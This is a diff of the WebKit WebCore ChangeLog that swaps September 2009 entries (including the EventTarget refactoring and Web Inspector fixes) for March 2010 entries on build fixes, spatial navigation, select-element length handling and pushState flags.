-        as JSC-specific.
-
-2009-09-24  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Web Inspector: Color-code watch expression errors with red.
-
-        https://bugs.webkit.org/show_bug.cgi?id=29707
-
-        * inspector/front-end/WatchExpressionsSidebarPane.js:
-        (WebInspector.WatchExpressionsSection.prototype.update):
-        (WebInspector.WatchExpressionTreeElement.prototype.update):
-        * inspector/front-end/inspector.css:
-
-2009-09-24  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Web Inspector: Fix formatting for messages derived from resource warnings,
-        couple of drive-by formatting fixes.
-
-        https://bugs.webkit.org/show_bug.cgi?id=29705
-
-        * inspector/InspectorFrontend.cpp:
-        (WebCore::InspectorFrontend::addMessageToConsole):
-        * inspector/front-end/ConsoleView.js:
-        * inspector/front-end/InjectedScript.js:
-        (InjectedScript._evaluateAndWrap):
-        * inspector/front-end/WatchExpressionsSidebarPane.js:
-        (WebInspector.WatchExpressionsSection.prototype.update):
-
-2009-09-22  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        WebInspector: Implement InspectorController::copyNode(id).
-
-        https://bugs.webkit.org/show_bug.cgi?id=28357
-
-        * inspector/InspectorBackend.cpp:
-        (WebCore::InspectorBackend::copyNode):
-        * inspector/InspectorBackend.h:
-        * inspector/InspectorBackend.idl:
-        * inspector/front-end/ElementsPanel.js:
-        (WebInspector.ElementsPanel.prototype.handleCopyEvent):
-
-2009-09-24  Oliver Hunt  <oliver@apple.com>
-
-        Reviewed by NOBODY(rollout)
-
-        Roll out r48712 as it is incorrect.
-
-        Overriding getPropertyNames is incorrect.
-
-        * bridge/runtime_array.cpp:
-        * bridge/runtime_array.h:
-
-2009-09-24  Xan Lopez  <xlopez@igalia.com>
-
-        Revert r48697, since it broke key handling notification to GTK+.
-
-        * platform/gtk/KeyEventGtk.cpp:
-        (WebCore::keyIdentifierForGdkKeyCode):
-        (WebCore::singleCharacterString):
-
-2009-09-24  Philippe Normand  <pnormand@igalia.com>
-
-        Reviewed by Xan Lopez.
-
-        [GTK] GStreamer MediaPlayer is unable to correctly querry duration
-        https://bugs.webkit.org/show_bug.cgi?id=24639
 
-        check duration returned by gst_element_query_duration() only
-        when using GStreamer < 0.10.23.
+2010-03-04  Luiz Agostini  <luiz.agostini@openbossa.org>
 
-        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
-        (WebCore::MediaPlayerPrivate::duration):
-
-2009-09-24  Benjamin Poulain  <benjamin.poulain@nokia.com>
+        Reviewed by Kenneth Rohde Christiansen.
 
-        Reviewed by Eric Seidel.
+        maemo spelled as mameo in WebCore.pro
+        https://bugs.webkit.org/show_bug.cgi?id=35765
 
-        The indices of RuntimeArray should be enumerated like for a regular array.
-        https://bugs.webkit.org/show_bug.cgi?id=29005
+        Spelling corrected.
 
-        * bridge/runtime_array.cpp:
-        (JSC::RuntimeArray::getPropertyNames):
-        * bridge/runtime_array.h:
+        * WebCore.pro:
 
-2009-09-23  Alexander Pavlov  <apavlov@chromium.org>
+2010-03-04  Tony Chang  <tony@chromium.org>
 
         Reviewed by Eric Seidel.
 
-        Introduce Pasteboard::writePlaintext(const String&) so that copying
-        of the inspected elements HTML will be possible in WebInspector.
-        https://bugs.webkit.org/show_bug.cgi?id=29634
-
-        * platform/Pasteboard.h:
-        * platform/android/TemporaryLinkStubs.cpp:
-        (Pasteboard::writePlainText):
-        * platform/chromium/ChromiumBridge.h:
-        * platform/chromium/PasteboardChromium.cpp:
-        (WebCore::Pasteboard::writePlainText):
-        * platform/gtk/PasteboardGtk.cpp:
-        (WebCore::Pasteboard::writePlainText):
-        * platform/haiku/PasteboardHaiku.cpp:
-        (WebCore::Pasteboard::writePlainText):
-        * platform/mac/PasteboardMac.mm:
-        (WebCore::Pasteboard::writePlainText):
-        * platform/qt/PasteboardQt.cpp:
-        (WebCore::Pasteboard::writePlainText):
-        * platform/win/PasteboardWin.cpp:
-        (WebCore::Pasteboard::writeSelection):
-        (WebCore::Pasteboard::writePlainText):
-        * platform/wince/PasteboardWince.cpp:
-        (WebCore::Pasteboard::writePlainText):
-        * platform/wx/PasteboardWx.cpp:
-        (WebCore::Pasteboard::writeSelection):
-        (WebCore::Pasteboard::writePlainText):
-        (WebCore::Pasteboard::writeURL):
-
-2009-09-24  Oswald Buddenhagen  <oswald.buddenhagen@nokia.com>
-
-        Reviewed by Simon Hausmann.
-
-        Fix QApp::translate() calls to provide the correct class name without
-        a trailing comma.
+        https://bugs.webkit.org/show_bug.cgi?id=18819
+        Pressing option+page{down,up} should move the cursor and scroll in
+        content editable areas.  On other platforms, pressing page{down,up}
+        should move the cursor and scroll in content editable areas.
 
-        * platform/qt/Localizations.cpp:
-        (WebCore::localizedMediaTimeDescription):
+        Test: editing/input/option-page-up-down.html
 
-2009-09-24  Geoffrey Garen  <ggaren@apple.com>
-
-        More build fix: Removed JSSharedWorkerContextCustom.cpp from project
-        files, since it no longer exists in the repository.
-
-        * GNUmakefile.am:
-        * WebCore.gypi:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
-
-2009-09-24  Geoffrey Garen  <ggaren@apple.com>
-
-        Windows build fix: Declare set/unsetPendingActivity public, so
-        SharedWorkerScriptLoader can call them.
-
-        * dom/ActiveDOMObject.h:
+        * editing/EditorCommand.cpp:
+        (WebCore::verticalScrollDistance):
 
-2009-09-24  Geoffrey Garen  <ggaren@apple.com>
+2010-03-03  Oliver Hunt  <oliver@apple.com>
 
-        Fixed a bit of the Windows build.
+        Reviewed by Gavin Barraclough.
 
-        * workers/SharedWorker.idl: Declare a custom mark function. (I accidentally
-        removed this in my last patch.)
-        * WebCore.xcodeproj/project.pbxproj: Added JSSharedWorkerCustom.cpp back
-        to the build. (I accidentally removed this in my last patch.)
+        Allow static property getters to interact with JSCs caching
+        https://bugs.webkit.org/show_bug.cgi?id=35716
 
-2009-09-23  Geoffrey Garen  <ggaren@apple.com>
+        Update the obviously safe getters to allow caching
 
-        32-bit build fix: restore previous cast that I thought was unnecessary.
+        Test: fast/js/pic/cached-named-property-getter.html
 
-        * xml/XMLHttpRequest.cpp:
-        (WebCore::XMLHttpRequest::didSendData):
-        (WebCore::XMLHttpRequest::didReceiveData):
+        * bridge/runtime_array.cpp:
+        (JSC::RuntimeArray::getOwnPropertySlot):
+        * bridge/runtime_method.cpp:
+        (JSC::RuntimeMethod::getOwnPropertySlot):
 
-2009-09-23  Geoffrey Garen  <ggaren@apple.com>
+2010-03-04  Mark Rowe  <mrowe@apple.com>
 
         Reviewed by Sam Weinig.
 
-        Bring a little sanity to this crazy EventTarget world of ours
-        https://bugs.webkit.org/show_bug.cgi?id=29701
-
-        Lots of EventTarget refactoring to achieve a single shared implementation
-        that fixes some of the performance and correctness bugs of the many individual
-        implementations, and makes reasoning about EventTargets and EventListeners
-        much easier.
-        
-        The basic design is this:
-            - EventTarget manages a set of EventListeners.
-            - onXXX EventListener attributes forward to standard EventTarget APIs.
-            - Since the onXXX code is repetitive, it is usually done with macros
-              of the form DEFINE_ATTRIBUTE_EVENT_LISTENER(attributeName).
-            - EventTarget provides a shared implementation of dispatchEvent,
-              which subclasses with special event dispatch rules, like Node, override.
-            - To support Node, which lazily instantiates its EventTarget data,
-              EventTarget has no data members, and instead makes a virtual call
-              to get its data from wherever its subclass chose to store it.
-              
-        Code that used to call dispatchEvent, passing an ExceptionCode paratmeter,
-        even though no exception could be thrown, has been changed not to do so,
-        to improve clarity and performance.
-        
-        Code that used to call a special dispatchXXXEvent function, which just
-        turned around and called dispatchEvent, has been changed to call
-        dispatchEvent, to improve clarity and performance.
-
-        * WebCore.base.exp:
-        * WebCore.xcodeproj/project.pbxproj: Another day in the life of a WebKit
-        engineer.
+        <rdar://problem/7717249> DOMSVG.h includes a non-existent DOMSVGFEMorphologyElement.h
 
-        * bindings/js/JSDOMBinding.cpp:
-        (WebCore::isObservableThroughDOM): Updated for Node API change. Added
-        "is not in the document but is firing event listeners" as a condition
-        that makes a Node observable in the DOM, so that event listeners firing
-        on removed nodes are not destroyed midstream. (This was a long-standing
-        bug that was somewhat hidden by the old implementation's habit of
-        copying the RegisteredEventListener vector before firing events, which
-        would keep almost all the relevant objects from being destroyed.)
+        * WebCore.xcodeproj/project.pbxproj: Copy DOMSVGFEMorphologyElement.h and DOMSVGFEMorphologyElementInternal.h
+        in to the framework wrapper.
 
-        * bindings/js/JSEventListener.cpp:
-        (WebCore::JSEventListener::handleEvent): Removed the isWindowEvent flag
-        because it was one of the most elaborately planned no-ops in the history
-        of software crime, and one of the reasons clients thought they needed more
-        than one dispatchEvent function even though they didn't.
-        * bindings/js/JSEventListener.h:
+2010-03-04  James Robinson  <jamesr@chromium.org>
 
-        * bindings/js/JSDOMWindowCustom.cpp:
-        (WebCore::JSDOMWindow::markChildren):
-        (WebCore::JSMessagePort::markChildren):
-        * bindings/js/JSNodeCustom.cpp:
-        (WebCore::JSNode::markChildren):
-        * bindings/js/JSAbstractWorkerCustom.cpp:
-        * bindings/js/JSDOMApplicationCacheCustom.cpp:
-        * bindings/js/JSDedicatedWorkerContextCustom.cpp:
-        * bindings/js/JSEventSourceCustom.cpp:
-        * bindings/js/JSMessagePortCustom.cpp:
-        * bindings/js/JSSharedWorkerContextCustom.cpp: Removed.
-        * bindings/js/JSWebSocketCustom.cpp:
-        * bindings/js/JSWorkerContextCustom.cpp:
-        (WebCore::JSWorkerContext::markChildren):
-        * bindings/js/JSWorkerCustom.cpp:
-        * bindings/js/JSXMLHttpRequestCustom.cpp:
-        (WebCore::JSXMLHttpRequest::markChildren):
-        * bindings/js/JSXMLHttpRequestUploadCustom.cpp:
-        (WebCore::JSXMLHttpRequestUpload::markChildren): EventListener marking is
-        now autogenerated. Classes that still have custom mark functions for other
-        reasons now call a shared EventTarget API to mark their EventListeners.
+        Reviewed by Dimitri Glazkov.
 
-        * bindings/objc/ObjCEventListener.h:
-        * bindings/objc/ObjCEventListener.mm:
-        (WebCore::ObjCEventListener::handleEvent): Bye bye isWindowEvent.
+        Handles setting HTMLSelectElement.length with mutation handlers present
+        https://bugs.webkit.org/show_bug.cgi?id=33983
 
-        * bindings/scripts/CodeGeneratorJS.pm: Autogeneration support for
-        marking and invalidating event listeners.
+        When setting an HTMLSelectElement's length attribute, option elements have to be added or removed to the select
+        as appropriate.  This is a little tricky with mutation events since they might add, remove, or reorder elements
+        while option elements are being added or deleted.
 
-        * dom/CharacterData.cpp:
-        (WebCore::CharacterData::dispatchModifiedEvent):
-        * dom/ContainerNode.cpp:
-        (WebCore::ContainerNode::insertBefore):
-        (WebCore::ContainerNode::replaceChild):
-        (WebCore::willRemoveChild):
-        (WebCore::ContainerNode::appendChild):
-        (WebCore::dispatchChildInsertionEvents):
-        (WebCore::dispatchChildRemovalEvents):
-        * dom/Document.cpp:
-        (WebCore::Document::removeAllEventListeners):
-        (WebCore::Document::implicitClose):
-        (WebCore::Document::setFocusedNode):
-        (WebCore::Document::dispatchWindowEvent):
-        (WebCore::Document::dispatchWindowLoadEvent):
-        (WebCore::Document::finishedParsing):
-        * dom/Document.h: Use dispatchEvent directly.
+        Tests: fast/forms/select-set-length-optgroup.html
+               fast/forms/select-set-length-with-mutation-remove.html
+               fast/forms/select-set-length-with-mutation-reorder.html
+               fast/forms/select-set-length-with-mutation-reparent.html
+               fast/forms/select-set-length-with-mutation.html
+               fast/forms/select-set-length.html
 
-        * dom/Element.h: Moved a few event listener attributes down from Node,
-        since they don't apply to all Nodes, only Elements.
+        * html/HTMLSelectElement.cpp:
+        (WebCore::HTMLSelectElement::setLength):
 
-        * dom/EventListener.h: Removed isWindowEvent parameter.
+2010-03-04  Csaba Osztrogonác  <ossy@webkit.org>
 
-        * dom/EventNames.h: Added the "display" event name, so it works correctly
-        with attribute macros, and for performance.
+        [Qt] Unreviewed buildfix after r55542 on Windows.
 
-        * dom/EventTarget.cpp:
-        (WebCore::forbidEventDispatch):
-        (WebCore::allowEventDispatch):
-        (WebCore::eventDispatchForbidden): Made this code (embarrasingly) thread
-        safe, since it's now called on multiple threads. (Currently, we only forbid
-        event dispatch on the main thread. If we ever want to forbid event dispatch
-        on secondary threads, we can improve it then.)
-
-        (WebCore::EventTarget::addEventListener):
-        (WebCore::EventTarget::removeEventListener):
-        (WebCore::EventTarget::setAttributeEventListener):
-        (WebCore::EventTarget::getAttributeEventListener):
-        (WebCore::EventTarget::clearAttributeEventListener):
-        (WebCore::EventTarget::dispatchEvent):
-        (WebCore::EventTarget::fireEventListeners):
-        (WebCore::EventTarget::getEventListeners):
-        (WebCore::EventTarget::removeAllEventListeners):
-        * dom/EventTarget.h:
-        (WebCore::FiringEventEndIterator::FiringEventEndIterator):
-        (WebCore::EventTarget::ref):
-        (WebCore::EventTarget::deref):
-        (WebCore::EventTarget::markEventListeners):
-        (WebCore::EventTarget::invalidateEventListeners):
-        (WebCore::EventTarget::isFiringEventListeners):
-        (WebCore::EventTarget::hasEventListeners): The ONE TRUE IMPLEMENTATION of
-        EventTarget APIs, crafted from an amalgam of all the different versions
-        we used to have. The most significant change here is that we no longer
-        make a copy of an EventListener vector before firing the events in the
-        vector -- instead, we use a reference to the original vector, along with
-        a notification mechanism for the unlikely case when an EventListener is
-        removed from the vector. This substantially reduces malloc, copying, and
-        refcount overhead, and complexity.
-
-        * dom/InputElement.cpp:
-        (WebCore::InputElement::setValueFromRenderer):
-        * dom/MessageEvent.h:
-        (WebCore::MessageEvent::create): Use dispatchEvent directly.
-
-        * dom/MessagePort.cpp:
-        (WebCore::MessagePort::dispatchMessages):
-        (WebCore::MessagePort::eventTargetData):
-        (WebCore::MessagePort::ensureEventTargetData):
-        * dom/MessagePort.h:
-        (WebCore::MessagePort::setOnmessage):
-        (WebCore::MessagePort::onmessage):
-        * dom/MessagePort.idl: Removed custom EventTarget implementation.
-
-        * dom/MutationEvent.h:
-        (WebCore::MutationEvent::create): Added some default values so callers
-        can construct MutationEvents more easily, without calling a custom dispatch
-        function.
+        * WebCore.pro:
+         - plugins/win/PluginDatabaseWin.cpp removed.
+         - platform/win/WebCoreInstanceHandle.cpp added.
 
-        * dom/Node.cpp:
-        (WebCore::Node::addEventListener):
-        (WebCore::Node::removeEventListener):
-        (WebCore::Node::eventTargetData):
-        (WebCore::Node::ensureEventTargetData):
-        (WebCore::Node::handleLocalEvents):
-        (WebCore::Node::dispatchEvent):
-        (WebCore::Node::dispatchGenericEvent):
-        (WebCore::Node::dispatchSubtreeModifiedEvent):
-        (WebCore::Node::dispatchUIEvent):
-        (WebCore::Node::dispatchKeyEvent):
-        (WebCore::Node::dispatchMouseEvent):
-        (WebCore::Node::dispatchWheelEvent):
-        (WebCore::Node::dispatchFocusEvent):
-        (WebCore::Node::dispatchBlurEvent):
-        * dom/Node.h:
-        (WebCore::Node::preDispatchEventHandler):
-        (WebCore::Node::postDispatchEventHandler):
-        * dom/Node.idl:
-        * dom/NodeRareData.h:
-        (WebCore::NodeRareData::eventTargetData):
-        (WebCore::NodeRareData::ensureEventTargetData): Use the shared EventTarget
-        interface, and call dispatchEvent directly instead of custom dispatchXXXEvent
-        functions that just forwarded to dispatchEvent.
-
-        * dom/RegisteredEventListener.cpp:
-        * dom/RegisteredEventListener.h:
-        (WebCore::RegisteredEventListener::RegisteredEventListener):
-        (WebCore::operator==): This is just a simple struct now, since we no longer
-        do a complicated copy / refCount / isRemoved dance just to honor the rule
-        that an EventListener can be removed during event dispatch.
+        * platform/win/WebCoreInstanceHandle.cpp: Remove explicit qualification in namespace declaration to make gcc happy.
 
-        * history/CachedFrame.cpp:
-        (WebCore::CachedFrameBase::restore): Removed another custom dispatchEvent.
+2010-03-04  Nate Chapin  <japhet@chromium.org>
 
-        * html/HTMLBodyElement.cpp:
-        * html/HTMLBodyElement.h: Use the shared EventTarget API.
+        Reviewed by Kenneth Rohde Christiansen.
 
-        * html/HTMLFormControlElement.cpp:
-        (WebCore::HTMLFormControlElement::dispatchFormControlChangeEvent):
-        (WebCore::HTMLFormControlElement::checkValidity):
-        * html/HTMLFormElement.cpp:
-        (WebCore::HTMLFormElement::handleLocalEvents):
-        (WebCore::HTMLFormElement::prepareSubmit):
-        (WebCore::HTMLFormElement::reset):
-        * html/HTMLFormElement.h: Use the standard dispatchEvent API.
+        Fix the case where we do a same document navigation, scroll,
+        then repeat the same document navigation.  Currently, the second
+        navigation does nothing.
 
-        * html/HTMLFrameSetElement.cpp:
-        * html/HTMLFrameSetElement.h: Use the shared EventTarget API.
+        https://bugs.webkit.org/show_bug.cgi?id=35547
 
-        * html/HTMLImageLoader.cpp:
-        (WebCore::HTMLImageLoader::dispatchLoadEvent):
-        * html/HTMLInputElement.cpp:
-        (WebCore::HTMLInputElement::onSearch):
-        * html/HTMLMediaElement.cpp:
-        (WebCore::HTMLMediaElement::loadInternal):
-        * html/HTMLScriptElement.cpp:
-        (WebCore::HTMLScriptElement::dispatchLoadEvent):
-        (WebCore::HTMLScriptElement::dispatchErrorEvent):
-        * html/HTMLSourceElement.cpp:
-        (WebCore::HTMLSourceElement::errorEventTimerFired):
-        * html/HTMLTokenizer.cpp:
-        (WebCore::HTMLTokenizer::notifyFinished): Use the standard dispatchEvent API.
+        Test: fast/loader/repeat-same-document-navigation.html
 
-        * inspector/InspectorDOMAgent.cpp:
-        (WebCore::InspectorDOMAgent::handleEvent):
-        * inspector/InspectorDOMAgent.h:
-        * inspector/InspectorDOMStorageResource.cpp:
-        (WebCore::InspectorDOMStorageResource::handleEvent):
-        * inspector/InspectorDOMStorageResource.h:
         * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::stopLoading):
-        (WebCore::FrameLoader::canCachePageContainingThisFrame):
-        (WebCore::FrameLoader::logCanCacheFrameDecision):
-        (WebCore::HashChangeEventTask::performTask):
-        (WebCore::FrameLoader::pageHidden): No more isWindowEvent.
-
-        * loader/ImageDocument.cpp:
-        (WebCore::ImageEventListener::handleEvent):
-        * loader/appcache/ApplicationCacheGroup.cpp:
-        (WebCore::CallCacheListenerTask::performTask):
-        * loader/appcache/ApplicationCacheHost.cpp:
-        (WebCore::ApplicationCacheHost::notifyDOMApplicationCache):
-        * loader/appcache/ApplicationCacheHost.h:
-        * loader/appcache/DOMApplicationCache.cpp:
-        (WebCore::DOMApplicationCache::eventTargetData):
-        (WebCore::DOMApplicationCache::ensureEventTargetData):
-        * loader/appcache/DOMApplicationCache.h:
-        * loader/appcache/DOMApplicationCache.idl: Switched to the standard
-        EventTarget API. As a part of this, I switched this class from using a
-        custom internal event name enumeration to using the standard EventNames.
+        (WebCore::FrameLoader::loadInSameDocument): Call scrollToFragment() whether or not the hash changed.
 
-        * notifications/Notification.cpp:
-        (WebCore::Notification::eventTargetData):
-        (WebCore::Notification::ensureEventTargetData):
-        * notifications/Notification.h:
-        (WebCore::Notification::scriptExecutionContext):
-        * notifications/Notification.idl: Switched to the standard EventTarget API.
-
-        * page/DOMWindow.cpp:
-        (WebCore::PostMessageTimer::event):
-        (WebCore::windowsWithUnloadEventListeners):
-        (WebCore::windowsWithBeforeUnloadEventListeners):
-        (WebCore::allowsBeforeUnloadListeners):
-        (WebCore::DOMWindow::dispatchAllPendingBeforeUnloadEvents):
-        (WebCore::DOMWindow::pendingUnloadEventListeners):
-        (WebCore::DOMWindow::dispatchAllPendingUnloadEvents): Changed the "pending"
-        unload / beforeunload listener tracker just to track which windows had
-        such listeners, instead of actually keeping a copy of the listeners. Now,
-        this code can use the standard EventTarget API.
-
-        (WebCore::DOMWindow::~DOMWindow):
-        (WebCore::DOMWindow::postMessageTimerFired):
-        (WebCore::DOMWindow::addEventListener):
-        (WebCore::DOMWindow::removeEventListener):
-        (WebCore::DOMWindow::dispatchLoadEvent):
-        (WebCore::DOMWindow::dispatchEvent):
-        (WebCore::DOMWindow::removeAllEventListeners):
-        (WebCore::DOMWindow::captureEvents):
-        (WebCore::DOMWindow::releaseEvents):
-        (WebCore::DOMWindow::eventTargetData):
-        (WebCore::DOMWindow::ensureEventTargetData):
-        * page/DOMWindow.h:
-        * page/DOMWindow.idl: Use the standard EventTarget APIs.
+2010-03-04  Simon Fraser  <simon.fraser@apple.com>
 
-        * page/EventHandler.cpp:
-        (WebCore::EventHandler::canMouseDownStartSelect):
-        (WebCore::EventHandler::canMouseDragExtendSelect):
-        (WebCore::EventHandler::sendResizeEvent):
-        (WebCore::EventHandler::sendScrollEvent): Use dispatchEvent directly.
-
-        * page/EventSource.cpp:
-        (WebCore::EventSource::endRequest):
-        (WebCore::EventSource::didReceiveResponse):
-        (WebCore::EventSource::parseEventStreamLine):
-        (WebCore::EventSource::stop):
-        (WebCore::EventSource::createMessageEvent):
-        (WebCore::EventSource::eventTargetData):
-        (WebCore::EventSource::ensureEventTargetData):
-        * page/EventSource.h:
-        * page/EventSource.idl: Use the standard EventTarget APIs.
+        Build fix.
+        
+        const long long cMaxDistance = numeric_limits<long long>::max() created global
+        initializers at the call sites, so replace with an inline function.
 
         * page/FocusController.cpp:
-        (WebCore::dispatchEventsOnWindowAndFocusedNode):
-        (WebCore::FocusController::setFocusedFrame):
-        * page/Frame.cpp:
-        (WebCore::Frame::shouldClose):
-        * page/Frame.h:
-        * page/Page.cpp:
-        (WebCore::networkStateChanged):
-        * page/animation/AnimationController.cpp:
-        (WebCore::AnimationControllerPrivate::updateStyleIfNeededDispatcherFired):
-        * rendering/RenderListBox.cpp:
-        (WebCore::RenderListBox::valueChanged):
-        * rendering/RenderTextControl.cpp:
-        (WebCore::RenderTextControl::selectionChanged):
-        * rendering/RenderTextControlMultiLine.cpp:
-        (WebCore::RenderTextControlMultiLine::subtreeHasChanged): Use dispatchEvent.
-
-        * svg/SVGElement.cpp:
-        (WebCore::hasLoadListener): Rewritten for new EventTarget API.
-
-        * svg/SVGElementInstance.cpp:
-        (WebCore::dummyEventTargetData):
-        (WebCore::SVGElementInstance::addEventListener):
-        (WebCore::SVGElementInstance::removeEventListener):
-        (WebCore::SVGElementInstance::removeAllEventListeners):
-        (WebCore::SVGElementInstance::dispatchEvent):
-        (WebCore::SVGElementInstance::eventTargetData):
-        (WebCore::SVGElementInstance::ensureEventTargetData): Use the EventTarget API.
-
-        * svg/SVGElementInstance.h:
-        * svg/SVGImageLoader.cpp:
-        (WebCore::SVGImageLoader::dispatchLoadEvent):
-        * svg/SVGScriptElement.cpp:
-        (WebCore::SVGScriptElement::dispatchErrorEvent): Use dispatchEvent directly.
-
-        * svg/SVGUseElement.cpp:
-        (WebCore::SVGUseElement::transferEventListenersToShadowTree): Updated for
-        new EventTarget API.
-
-        * svg/animation/SVGSMILElement.cpp:
-        (WebCore::ConditionEventListener::handleEvent): No more isWindowEvent.
-
-        * websockets/WebSocket.cpp:
-        (WebCore::ProcessWebSocketEventTask::create):
-        (WebCore::ProcessWebSocketEventTask::performTask):
-        (WebCore::ProcessWebSocketEventTask::ProcessWebSocketEventTask):
-        (WebCore::WebSocket::didConnect):
-        (WebCore::WebSocket::didReceiveMessage):
-        (WebCore::WebSocket::didClose):
-        (WebCore::WebSocket::eventTargetData):
-        (WebCore::WebSocket::ensureEventTargetData):
-        * websockets/WebSocket.h:
-        * websockets/WebSocket.idl:
-        * workers/AbstractWorker.cpp:
-        (WebCore::AbstractWorker::eventTargetData):
-        (WebCore::AbstractWorker::ensureEventTargetData):
-        * workers/AbstractWorker.h:
-        * workers/AbstractWorker.idl:
-        * workers/DedicatedWorkerContext.cpp:
-        * workers/DedicatedWorkerContext.h:
-        * workers/DedicatedWorkerContext.idl:
-        * workers/DefaultSharedWorkerRepository.cpp:
-        (WebCore::SharedWorkerConnectTask::performTask):
-        (WebCore::SharedWorkerScriptLoader::load):
-        (WebCore::SharedWorkerScriptLoader::notifyFinished):
-        * workers/SharedWorker.idl:
-        * workers/SharedWorkerContext.cpp:
-        (WebCore::createConnectEvent):
-        * workers/SharedWorkerContext.h:
-        * workers/SharedWorkerContext.idl:
-        * workers/Worker.cpp:
-        (WebCore::Worker::notifyFinished):
-        * workers/Worker.h:
-        * workers/Worker.idl:
-        * workers/WorkerContext.cpp:
-        (WebCore::WorkerContext::eventTargetData):
-        (WebCore::WorkerContext::ensureEventTargetData):
-        * workers/WorkerContext.h:
-        * workers/WorkerContext.idl:
-        * workers/WorkerMessagingProxy.cpp:
-        (WebCore::MessageWorkerContextTask::performTask):
-        (WebCore::MessageWorkerTask::performTask):
-        (WebCore::WorkerExceptionTask::performTask):
-        * xml/XMLHttpRequest.cpp:
-        (WebCore::XMLHttpRequest::callReadyStateChangeListener):
-        (WebCore::XMLHttpRequest::createRequest):
-        (WebCore::XMLHttpRequest::abort):
-        (WebCore::XMLHttpRequest::networkError):
-        (WebCore::XMLHttpRequest::abortError):
-        (WebCore::XMLHttpRequest::didSendData):
-        (WebCore::XMLHttpRequest::didReceiveData):
-        (WebCore::XMLHttpRequest::eventTargetData):
-        (WebCore::XMLHttpRequest::ensureEventTargetData):
-        * xml/XMLHttpRequest.h:
-        * xml/XMLHttpRequest.idl:
-        * xml/XMLHttpRequestProgressEvent.h:
-        (WebCore::XMLHttpRequestProgressEvent::create):
-        * xml/XMLHttpRequestUpload.cpp:
-        (WebCore::XMLHttpRequestUpload::eventTargetData):
-        (WebCore::XMLHttpRequestUpload::ensureEventTargetData):
-        * xml/XMLHttpRequestUpload.h:
-        * xml/XMLHttpRequestUpload.idl: Use new EventTarget API.
-
-2009-09-23  Kent Tamura  <tkent@chromium.org>
+        (WebCore::updateFocusCandidateIfCloser):
+        * page/SpatialNavigation.cpp:
+        (WebCore::distanceInDirection):
+        * page/SpatialNavigation.h:
+        (WebCore::maxDistance):
+        (WebCore::FocusCandidate::FocusCandidate):
 
-        Reviewed by Darin Adler.
-
-        - Support for maxLength of <textarea>
-        - Move numGraphemeClusters() and numCharactersInGraphemeClusters() from InputElement to String.
-        https://bugs.webkit.org/show_bug.cgi?id=29292
+2010-03-04  Antonio Gomes  <tonikitoo@webkit.org>
 
-        Test: fast/forms/textarea-maxlength.html
+        Unreviewed attempt to fix Windows build.
 
-        * dom/InputElement.cpp:
-        (WebCore::InputElement::sanitizeUserInputValue):
-        (WebCore::InputElement::handleBeforeTextInsertedEvent):
-        * html/HTMLTextAreaElement.cpp:
-        (WebCore::HTMLTextAreaElement::defaultEventHandler):
-        (WebCore::HTMLTextAreaElement::handleBeforeTextInsertedEvent):
-        (WebCore::HTMLTextAreaElement::sanitizeUserInputValue):
-        (WebCore::HTMLTextAreaElement::maxLength):
-        (WebCore::HTMLTextAreaElement::setMaxLength):
-        * html/HTMLTextAreaElement.h:
-        * html/HTMLTextAreaElement.idl:
-        * platform/text/PlatformString.h:
-        * platform/text/String.cpp:
-        (WebCore::String::numGraphemeClusters):
-        (WebCore::String::numCharactersInGraphemeClusters):
+        * page/SpatialNavigation.cpp:
+        (WebCore::spatialDistance):
 
-2009-09-23  Martin Robinson  <martin.james.robinson@gmail.com>
+2010-03-04  Simon Fraser  <simon.fraser@apple.com>
 
-        Reviewed by Xan Lopez.
-
-        [GTK] REGRESSION: BitmapImage::getGdkPixbuf fails for non-square images
-        https://bugs.webkit.org/show_bug.cgi?id=29654
+        Build fix.
 
-        Give GDK_Backspace key events the proper text properties.
+        Delcare updateFocusCandidateIfCloser static to avoid warning.
 
-        Instead of adding new tests, this change removes existing tests
-        from Gtk's skipped list.
+        * page/FocusController.cpp:
+        (WebCore::updateFocusCandidateIfCloser):
 
-        * platform/gtk/KeyEventGtk.cpp:
-        (WebCore::keyIdentifierForGdkKeyCode):
-        (WebCore::singleCharacterString):
+2010-03-04  Darin Fisher  <darin@chromium.org>
 
-2009-09-23  Sam Weinig  <sam@webkit.org>
+        Reviewed by Dmitry Titov.
 
-        Reviewed by Adam Barth.
+        [chromium] make history.{push,replace}State enabled at runtime
+        https://bugs.webkit.org/show_bug.cgi?id=35753
 
-        Fix for https://bugs.webkit.org/show_bug.cgi?id=26989
-        Should allow navigation of top-level openers
-        <rdar://problem/7034025>
+        * bindings/generic/RuntimeEnabledFeatures.cpp:
+        * bindings/generic/RuntimeEnabledFeatures.h:
+        (WebCore::RuntimeEnabledFeatures::setPushStateEnabled):
+        (WebCore::RuntimeEnabledFeatures::pushStateEnabled):
+        (WebCore::RuntimeEnabledFeatures::replaceStateEnabled):
+        * page/History.idl:
 
-        Allow navigation of cross-origin window.opener if it is top-level frame.
+2010-03-04  Antonio Gomes  <tonikitoo@webkit.org>
 
-        Test: http/tests/security/frameNavigation/cross-origin-opener.html
+        Unreviewed attempt to (again) fix Mac build.
 
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::shouldAllowNavigation):
+        * page/SpatialNavigation.cpp:
+        (WebCore::spatialDistance):
 
-2009-09-23  Marshall Culpepper  <mculpepper@appcelerator.com>
+2010-03-04  Dan Bernstein  <mitz@apple.com>
 
-        Reviewed by Eric Seidel.
+        Based on a patch from Nick Jong.
 
-        Added $(WebKitLibrariesDir)/include/cairo so cairo.h is found by
-        default when the necessary dependencies are extracted into the
-        WebKitLibrariesDir.
-        https://bugs.webkit.org/show_bug.cgi?id=29661
+        Reviewed by Simon Fraser.
 
-        * WebCore.vcproj/WebCoreCairo.vsprops:
+        Improve selection in multi-column blocks when hitting points above or
+        below a column rect.
 
-2009-09-23  Darin Adler  <darin@apple.com>
+        Test: fast/multicol/hit-test-above-or-below.html
 
-        Reviewed by Sam Weinig.
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::adjustPointToColumnContents): If the point lies
+        within the horizontal range for a column, constrain it to the column (if
+        it is above) or the next column (if it is below).
 
-        Crash when website does a history.back() followed by an alert()
-        https://bugs.webkit.org/show_bug.cgi?id=29686
-        rdar://problem/6984996
